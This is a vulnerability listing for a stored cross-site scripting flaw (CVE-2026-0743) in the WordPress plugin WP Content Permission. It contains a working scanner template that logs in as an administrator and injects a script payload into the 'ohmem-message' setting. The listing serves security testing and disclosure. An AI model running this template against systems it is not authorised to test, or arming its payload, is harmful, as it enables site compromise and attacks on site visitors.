CVE-2026-0743: WP Content Permission <= 1.2 - Cross-Site Scripting

2026-09-01 Unknown PoC Public

Description

The WP Content Permission plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ohmem-message' parameter in all versions up to, and including, 1.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PoC

id: CVE-2026-0743

info:
  name: WP Content Permission <= 1.2 - Cross-Site Scripting
  author: iamatownboy
  severity: medium
  description: |
    The WP Content Permission plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ohmem-message' parameter in all versions up to, and including, 1.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
  impact: |
    Authenticated attackers with administrator-level access can inject scripts that execute in other users' browsers.
  remediation: |
    Update WP Content Permission to a version newer than 1.2.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/e44403cd-1cee-43c4-aabc-3eaad433c020?source=cve
    - https://plugins.trac.wordpress.org/browser/wp-content-permission/tags/1.2/admin/views/admin.php#L74
    - https://plugins.trac.wordpress.org/browser/wp-content-permission/trunk/admin/views/admin.php#L74
    - https://nvd.nist.gov/vuln/detail/CVE-2026-0743
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 4.4
    cve-id: CVE-2026-0743
    epss-score: 0.00576
    epss-percentile: 0.4595
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 3
    vendor: orenhav
    product: wp-content-permission
    framework: wordpress
    publicwww-query: "/wp-content/plugins/wp-content-permission/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,wp-content-permission,xss,stored,authenticated

variables:
  xss: "{{randstr}}<script>alert(1)</script>"

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-content-permission/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - contains(body, "WP Content Permission")
          - compare_versions(version, "<= 1.2")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP+Cookie+check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1

    cookie-reuse: true

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin.php?page=wp-content-permission HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/wp-admin/admin.php?page=wp-content-permission

        ohmem-message={{url_encode(xss)}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{xss}}"

      - type: word
        part: content_type
        words:
          - "text/html"
# digest: 490a004630440220578698cb8935c511aa19cad54374fe656a84b1ee1487ac4fd5b4a9a626bcca3e0220488662718121b486d59f05a99eb629bb9d74e204727b7cb410a666d69db84586:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.